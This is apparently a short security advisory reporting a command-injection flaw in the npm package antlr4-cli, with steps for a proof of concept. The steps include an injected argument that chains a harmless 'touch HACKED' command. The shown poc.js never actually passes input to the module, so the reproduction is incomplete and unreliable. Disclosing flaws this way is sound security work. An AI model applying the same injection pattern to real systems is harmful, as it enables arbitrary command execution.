vulnerability remote code execution
severity 3.8
language javascript
registry npm


The antlr4-cli module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var antlr4 = require("antlr4-cli");

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i antlr4-cli # Install affected module
node poc.js 'simple_argument_in_single_quote;touch HACKED; #' # Run PoC
  1. Recheck the files: now HACKED has been created